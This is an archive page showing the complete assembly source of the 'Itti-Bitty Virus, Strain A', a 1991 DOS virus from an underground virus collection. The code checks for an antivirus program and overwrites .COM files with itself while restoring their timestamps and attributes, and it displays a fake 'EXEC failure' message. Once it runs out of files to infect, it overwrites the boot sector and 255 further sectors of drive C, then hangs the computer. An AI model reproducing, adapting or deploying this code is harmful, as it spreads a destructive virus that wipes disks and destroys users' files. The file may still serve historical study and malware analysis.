home *** CD-ROM | disk | FTP | other *** search
/ Underground / Underground CD1.iso / virii / zrodla / i / itti-a.asm < prev    next >
Encoding:
Assembly Source File  |  1998-01-14  |  3.7 KB  |  124 lines

  1. ; Itti-Bitty Virus, Strain A
  2.  
  3. ; The world's smallest virus (except for Strain B, but still only 161 bytes)
  4.  
  5. ;
  6.  
  7. ; (C) 1991 Nowhere Man and [NuKE] WaErZ
  8.  
  9. ; Written by Nowhere Man
  10.  
  11.  
  12.  
  13.     title   "The Itti-Bitty Virus, Strain A:  The smallest virus ever"
  14.  
  15.  
  16.  
  17.         code    segment 'CODE'
  18.  
  19.                 assume cs:code,ds:code,es:code,ss:code
  20.  
  21.  
  22.  
  23.                 org     0100h
  24.  
  25.  
  26.  
  27. code_length     equ     finish - start
  28.  
  29.  
  30.  
  31. start           label   near
  32.  
  33.                
  34.  
  35. id_bytes    proc    near
  36.  
  37.         mov    si,si                   ; Serves no purpose:  our ID
  38.  
  39. id_bytes    endp
  40.  
  41.  
  42.  
  43. main            proc    near
  44.  
  45.         mov    ax,0FF0Fh        ; Virex installation check function
  46.  
  47.         int    021h
  48.  
  49.         cmp    ax,0101h        ; Is Virex loaded?
  50.  
  51.         je    exit_virus        ; If so, then bail out now
  52.  
  53.  
  54.  
  55.         mov     ah,04Eh            ; DOS find first file function
  56.  
  57.         mov     cx,00100111b        ; CX holds attribute mask
  58.  
  59.         mov     dx,offset com_spec    ; DX points to "*.COM"
  60.  
  61.  
  62.  
  63. file_loop:      int     021h
  64.  
  65.         jc      go_off            ; If there are no files, go off
  66.  
  67.  
  68.  
  69.         call    infect_file        ; Try to infect found file
  70.  
  71.         jne     exit_virus        ; Exit if successful
  72.  
  73.  
  74.  
  75.                 mov     ah,04Fh            ; DOS find next file function
  76.  
  77.         jmp    short file_loop        ; Repeat until out of files
  78.  
  79.  
  80.  
  81. exit_virus:     mov    ah,9            ; DOS display string function
  82.  
  83.         mov    dx,offset fake_error    ; DX points to fake error message
  84.  
  85.         int    021h
  86.  
  87.  
  88.  
  89.         mov    ax,04C01h        ; DOS terminate function, code 1
  90.  
  91.         int     021h
  92.  
  93. main            endp
  94.  
  95.  
  96.  
  97. go_off          proc    near
  98.  
  99.         cli                ; Prevent all interrupts
  100.  
  101.  
  102.  
  103.         mov    ah,2            ; AH holds drive number (C:)
  104.  
  105.         cwd                             ; Start with sector 0 (boot sector)
  106.  
  107.         mov    cx,0100h        ; Write 256 sectors (fucks disk)
  108.  
  109.         int    026h            ; DOS absolute write interrupt
  110.  
  111.  
  112.  
  113.         jmp    $            ; Infinite loop; lock up computer
  114.  
  115. go_off          endp
  116.  
  117.  
  118.  
  119. infect_file     proc    near
  120.  
  121.         mov    ax,04301h        ; DOS set file attributes function
  122.  
  123.         xor    cx,cx            ; Clear all attributes
  124.  
  125.         mov    dx,09Eh            ; DX points to victim's name
  126.  
  127.         int    021h
  128.  
  129.  
  130.  
  131.         mov     ax,03D02h               ; DOS open file function, read-write
  132.  
  133.         int     021h
  134.  
  135.  
  136.  
  137.                 xchg    bx,ax                   ; BX holds file handle
  138.  
  139.  
  140.  
  141.         mov     ah,03Fh                 ; DOS read from file function
  142.  
  143.         mov     cx,2                    ; CX holds byte to read (2)
  144.  
  145.         mov     dx,offset buffer        ; DX points to buffer
  146.  
  147.         int     021h
  148.  
  149.  
  150.  
  151.         cmp    word ptr [buffer],0F68Bh ; Are the two bytes "MOV SI,SI"
  152.  
  153.         pushf                ; Save flags
  154.  
  155.         je      close_it_up        ; If not, then file is OK
  156.  
  157.  
  158.  
  159.         cwd                             ; Zero CX \_ Zero bytes from start
  160.  
  161.         mov    cx,dx            ; Zero DX /
  162.  
  163.         mov    ax,04200h        ; DOS file seek function, start
  164.  
  165.         int    021h
  166.  
  167.  
  168.  
  169.         mov     ah,040h                 ; DOS write to file function
  170.  
  171.         mov     cx,code_length          ; CX holds virus length
  172.  
  173.         mov     dx,offset start         ; DX points to start of virus
  174.  
  175.         int     021h
  176.  
  177.  
  178.  
  179. close_it_up:    mov    si,095h
  180.  
  181.         lodsb
  182.  
  183.         push    ax            ; Save file's attributes for later
  184.  
  185.         lodsw
  186.  
  187.         xchg    cx,ax            ; CX holds [096h]
  188.  
  189.         lodsw
  190.  
  191.         xchg    dx,ax            ; DX holds [098h]
  192.  
  193.         mov     ax,05701h               ; DOS set file time function
  194.  
  195.         int     021h
  196.  
  197.  
  198.  
  199.                 mov     ah,03Eh                 ; DOS close file function
  200.  
  201.         int     021h
  202.  
  203.  
  204.  
  205.         mov    ax,04301h        ; DOS set file attributes function
  206.  
  207.         pop    cx            ; CX holds file's old attributes
  208.  
  209.         mov    dx,09Eh            ; DX points to victim's name
  210.  
  211.         int    021h
  212.  
  213.  
  214.  
  215.         popf                ; Restore flags
  216.  
  217.         ret                ; Return to caller
  218.  
  219.  
  220.  
  221. buffer          dw      ?            ; Buffer to hold test data
  222.  
  223. infect_file    endp
  224.  
  225.  
  226.  
  227.  
  228.  
  229. ; Initialized data goes here
  230.  
  231.  
  232.  
  233. com_spec        db      "*.COM",0        ; What to infect:  all COM files
  234.  
  235.  
  236.  
  237. fake_error    db    "EXEC failure",13,10,"$" ; Fake error message
  238.  
  239.  
  240.  
  241. finish          label   near
  242.  
  243.  
  244.  
  245. code            ends
  246.  
  247.         end    id_bytes